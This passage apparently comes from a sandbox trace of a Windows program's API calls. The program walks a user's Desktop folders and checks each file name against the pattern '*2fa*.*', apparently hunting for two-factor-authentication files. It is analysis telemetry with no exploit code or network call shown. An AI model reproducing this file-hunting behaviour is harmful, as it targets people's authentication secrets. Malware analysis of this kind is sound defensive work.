cFileName="JsOVvpw5D.jpg", cAlternateFileName="JSOVVP~1.JPG")) returned 1 [0146.736] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.736] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.736] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.736] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.736] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.736] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x32bb5b8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", lpUsedDefaultChar=0x0) returned 70 [0146.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ac00, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.737] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*2fa*.*") returned 0 [0146.737] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926ae940, ftCreationTime.dwHighDateTime=0x1d7a591, ftLastAccessTime.dwLowDateTime=0xaf78d1f0, ftLastAccessTime.dwHighDateTime=0x1d7ab3b, ftLastWriteTime.dwLowDateTime=0xaf78d1f0, ftLastWriteTime.dwHighDateTime=0x1d7ab3b, nFileSizeHigh=0x0, nFileSizeLow=0x15bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZTd4bP.mp4", cAlternateFileName="")) returned 1 [0146.737] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.737] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.737] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.737] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.737] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.737] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0146.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x32bb388, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", lpUsedDefaultChar=0x0) returned 68 [0146.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236aae0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.737] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*2fa*.*") returned 0 [0146.738] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 1 [0146.738] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.738] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.738] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.738] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.738] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.738] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x23629e8, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", lpUsedDefaultChar=0x0) returned 73 [0146.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236abe8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.738] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*2fa*.*") returned 0 [0146.738] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 0 [0146.738] FindClose (in: hFindFile=0x882830 | out: hFindFile=0x882830) returned 1 [0146.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0146.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x32ba9a0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpUsedDefaultChar=0x0) returned 56 [0146.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ab58, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.739] PathMatchSpecW (pszFile="Mhr9", pszSpec="*2fa*.*") returned 0 [0146.739] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 1 [0146.739] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.739] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.739] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.739] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.739] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.739] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x32ba420, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", lpUsedDefaultChar=0x0) returned 62 [0146.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.739] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*2fa*.*") returned 0 [0146.740] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 0 [0146.740] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x32baba0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpUsedDefaultChar=0x0) returned 51 [0146.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac30, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.740] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*2fa*.*") returned 0 [0146.740] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de1b940, ftCreationTime.dwHighDateTime=0x1d7a531, ftLastAccessTime.dwLowDateTime=0x59225a40, ftLastAccessTime.dwHighDateTime=0x1d7a98f, ftLastWriteTime.dwLowDateTime=0x59225a40, ftLastWriteTime.dwHighDateTime=0x1d7a98f, nFileSizeHigh=0x0, nFileSizeLow=0x169f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEIQ6AJHyGUlXgnxWJ.avi", cAlternateFileName="DEIQ6A~1.AVI")) returned 1 [0146.740] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.740] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.740] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.741] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.741] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.741] lstrcatW (in: lpString1="\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="\\DEIQ6AJHyGUlXgnxWJ.avi") returned="\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x32baba0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", lpUsedDefaultChar=0x0) returned 54 [0146.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aac8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.741] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*2fa*.*") returned 0 [0146.741] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.741] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.741] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.741] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0146.741] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.741] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.741] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0146.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0146.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aab0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.742] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*2fa*.*") returned 0 [0146.742] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35827c90, ftCreationTime.dwHighDateTime=0x1d7a472, ftLastAccessTime.dwLowDateTime=0xe313cd50, ftLastAccessTime.dwHighDateTime=0x1d7af71, ftLastWriteTime.dwLowDateTime=0xe313cd50, ftLastWriteTime.dwHighDateTime=0x1d7af71, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dw5n s d.swf", cAlternateFileName="DW5NSD~1.SWF")) returned 1 [0146.742] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.742] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.742] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="dw5n s d.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf" [0146.742] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.742] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.742] lstrcatW (in: lpString1="\\", lpString2="dw5n s d.swf" | out: lpString1="\\dw5n s d.swf") returned="\\dw5n s d.swf" [0146.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 